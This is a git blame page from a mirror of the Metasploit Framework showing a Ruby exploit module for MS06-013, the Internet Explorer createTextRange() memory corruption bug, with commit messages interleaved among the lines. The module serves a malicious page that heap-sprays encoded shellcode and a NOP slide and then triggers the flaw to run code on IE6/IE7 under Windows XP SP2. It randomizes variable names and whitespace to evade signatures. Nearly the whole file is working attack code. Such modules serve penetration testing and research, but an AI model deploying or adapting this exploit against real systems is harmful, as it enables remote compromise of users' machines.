infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
metasploit-framework/modules/exploits/windows/browser/ms06_013_createtextrange.rb

145 lines
5.0 KiB
Ruby
Raw Normal View History

Adding an Id tag and a standard header to all modules git-svn-id: file:///home/svn/framework3/trunk@4419 4d416f70-5f16-0410-b530-b9f4589650da
2007-02-18 00:10:39 +00:00
##
Fix up comment splats with the correct URI See the complaint on #4039. This doesn't fix that particular issue (it's somewhat unrelated), but does solve around a file parsing problem reported by @void-in
2014-10-17 16:47:33 +00:00
# This module requires Metasploit: http://metasploit.com/download
Redo the boilerplate / splat [SeeRM #8496]
2013-10-15 18:50:46 +00:00
# Current source: https://github.com/rapid7/metasploit-framework
Adding an Id tag and a standard header to all modules git-svn-id: file:///home/svn/framework3/trunk@4419 4d416f70-5f16-0410-b530-b9f4589650da
2007-02-18 00:10:39 +00:00
##
Resolve a crash bug in the send_response_html() method Add the MS06_013 CreateTextRange() exploit git-svn-id: file:///home/svn/framework3/trunk@4208 4d416f70-5f16-0410-b530-b9f4589650da
2006-12-17 02:34:27 +00:00
require 'msf/core'
use MetasploitModule as a class name
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Exploit::Remote
Retab modules
2013-08-30 21:28:54 +00:00
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
Add MSB number to name
2014-03-29 01:33:40 +00:00
'Name' => 'MS06-013 Microsoft Internet Explorer createTextRange() Code Execution',
Retab modules
2013-08-30 21:28:54 +00:00
'Description' => %q{
This module exploits a code execution vulnerability in Microsoft Internet Explorer.
Both IE6 and IE7 (Beta 2) are vulnerable. It will corrupt memory in a way, which, under
certain circumstances, can lead to an invalid/corrupt table pointer dereference. EIP will point
to a very remote, non-existent memory location. This module is the result of merging three
different exploit submissions and has only been reliably tested against Windows XP SP2.
This vulnerability was independently discovered by multiple parties. The heap spray method
used by this exploit was pioneered by Skylined.
},
'License' => MSF_LICENSE,
'Author' =>
[
Fix email format
2014-07-11 17:45:23 +00:00
'Faithless <rhyskidd[at]gmail.com>',
Retab modules
2013-08-30 21:28:54 +00:00
'Darkeagle <unl0ck.net>',
'hdm',
Fix email format
2014-07-11 17:45:23 +00:00
'<justfriends4n0w[at]yahoo.com>',
Retab modules
2013-08-30 21:28:54 +00:00
'Unknown',
],
'References' =>
[
['CVE', '2006-1359'],
['OSVDB', '24050'],
['MSB', 'MS06-013'],
['BID', '17196'],
['US-CERT-VU', '876678'],
['URL', 'http://secunia.com/secunia_research/2006-7/advisory/'],
['URL', 'http://seclists.org/lists/bugtraq/2006/Mar/0410.html'],
Remove bad references (dead links) These links are no longer available. They are dead links.
2015-10-27 17:41:32 +00:00
['URL', 'http://seclists.org/lists/fulldisclosure/2006/Mar/1439.html']
Retab modules
2013-08-30 21:28:54 +00:00
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Internet Explorer 6 - (6.0.3790.0 - Windows XP SP2)', { 'Ret' => 0x746F9468 } ],
[ 'Internet Explorer 7 - (7.0.5229.0 - Windows XP SP2)', { 'Ret' => 0x3C0474C2 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 19 2006'))
end
def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Create some nops
nops = Rex::Text.to_unescape(make_nops(4))
# Generate a random XML namespace for VML
xmlns = rand_text_alpha(rand(30)+2)
# Randomize the javascript variable names
rnd = rand(3)
var_inputtype = ((rnd == 0) ? "checkbox" : ((rnd == 1) ? "radio" : "image"))
var_inp = "_"+rand_text_alpha(rand(6)+3)
var_tmp = "_"+rand_text_alpha(rand(6)+3)
var_payload = "_"+rand_text_alpha(rand(6)+3)
var_nopslide = "_"+rand_text_alpha(rand(6)+3)
var_slidesize = "_"+rand_text_alpha(rand(6)+3)
var_fillblock = "_"+rand_text_alpha(rand(6)+3)
var_memblock = "_"+rand_text_alpha(rand(6)+3)
var_heap = "_"+rand_text_alpha(rand(6)+3)
var_index = "_"+rand_text_alpha(rand(6)+3)
var_maxIndex = "_"+rand_text_alpha(rand(6)+3)
var_fillHeap = "_"+rand_text_alpha(rand(6)+3)
var_start = "_"+rand_text_alpha(rand(6)+3)
var_timer = "_"+rand_text_alpha(rand(6)+3)
rnd = rand(2)
var_setTimeout = (rnd == 0) ? "setTimeout('#{var_fillHeap}()', 5)" : ""
var_setInterval = (rnd == 1) ? "setInterval('#{var_fillHeap}()', 5)" : ""
# Build out the message
content = %Q|<html>
big module whitespace/formatting cleanup pass git-svn-id: file:///home/svn/framework3/trunk@9179 4d416f70-5f16-0410-b530-b9f4589650da
2010-04-30 08:40:19 +00:00
<head>
<script language = "javascript">
fixed a typo in javascript git-svn-id: file:///home/svn/framework3/trunk@12007 4d416f70-5f16-0410-b530-b9f4589650da
2011-03-17 04:40:36 +00:00
var #{var_payload} = unescape("#{shellcode}");
big module whitespace/formatting cleanup pass git-svn-id: file:///home/svn/framework3/trunk@9179 4d416f70-5f16-0410-b530-b9f4589650da
2010-04-30 08:40:19 +00:00
var #{var_nopslide} = unescape("#{nops}");
var #{var_slidesize} = 20+#{var_payload}.length;
while (#{var_nopslide}.length<#{var_slidesize}) { #{var_nopslide} += #{var_nopslide}; }
var #{var_fillblock} = #{var_nopslide}.substring(0,#{var_slidesize});
var #{var_memblock} = #{var_nopslide}.substring(0,#{var_nopslide}.length-#{var_slidesize});
while(#{var_memblock}.length+#{var_slidesize} < 0x40000) { #{var_memblock} += #{var_fillblock}; }
var #{var_heap} = new Array();
var #{var_index} = 0;
var #{var_maxIndex} = 2020;
function #{var_fillHeap}() {
#{var_timer}.innerHTML = Math.round((#{var_index}/#{var_maxIndex})*100);
if (#{var_index}<#{var_maxIndex}) {
#{var_heap}.push(#{var_memblock}+#{var_payload});
#{var_index}++;
#{var_setTimeout}
} else {
#{var_timer}.innerHTML = 100;
#{var_inp} = document.createElement("input");
#{var_inp}.type = "#{var_inputtype}";
#{var_tmp} = #{var_inp}.createTextRange();
}
}
function #{var_start}() {
#{var_setTimeout}#{var_setInterval}
}
</script>
</head>
<body onload="#{var_start}()">
<span id="#{var_timer}"> % </span>
</body>
</html>
|
Resolve a crash bug in the send_response_html() method Add the MS06_013 CreateTextRange() exploit git-svn-id: file:///home/svn/framework3/trunk@4208 4d416f70-5f16-0410-b530-b9f4589650da
2006-12-17 02:34:27 +00:00
Retab modules
2013-08-30 21:28:54 +00:00
content = Rex::Text.randomize_space(content)
Resolve a crash bug in the send_response_html() method Add the MS06_013 CreateTextRange() exploit git-svn-id: file:///home/svn/framework3/trunk@4208 4d416f70-5f16-0410-b530-b9f4589650da
2006-12-17 02:34:27 +00:00
Retab modules
2013-08-30 21:28:54 +00:00
print_status("Sending #{self.name}")
Resolve a crash bug in the send_response_html() method Add the MS06_013 CreateTextRange() exploit git-svn-id: file:///home/svn/framework3/trunk@4208 4d416f70-5f16-0410-b530-b9f4589650da
2006-12-17 02:34:27 +00:00
Retab modules
2013-08-30 21:28:54 +00:00
# Transmit the response to the client
send_response_html(cli, content)
big module whitespace/formatting cleanup pass git-svn-id: file:///home/svn/framework3/trunk@9179 4d416f70-5f16-0410-b530-b9f4589650da
2010-04-30 08:40:19 +00:00
Retab modules
2013-08-30 21:28:54 +00:00
# Handle the payload
handler(cli)
end
Resolve a crash bug in the send_response_html() method Add the MS06_013 CreateTextRange() exploit git-svn-id: file:///home/svn/framework3/trunk@4208 4d416f70-5f16-0410-b530-b9f4589650da
2006-12-17 02:34:27 +00:00
Massive OSVDB reference update from Steve Tornio. git-svn-id: file:///home/svn/framework3/trunk@6629 4d416f70-5f16-0410-b530-b9f4589650da
2009-06-07 20:20:42 +00:00
end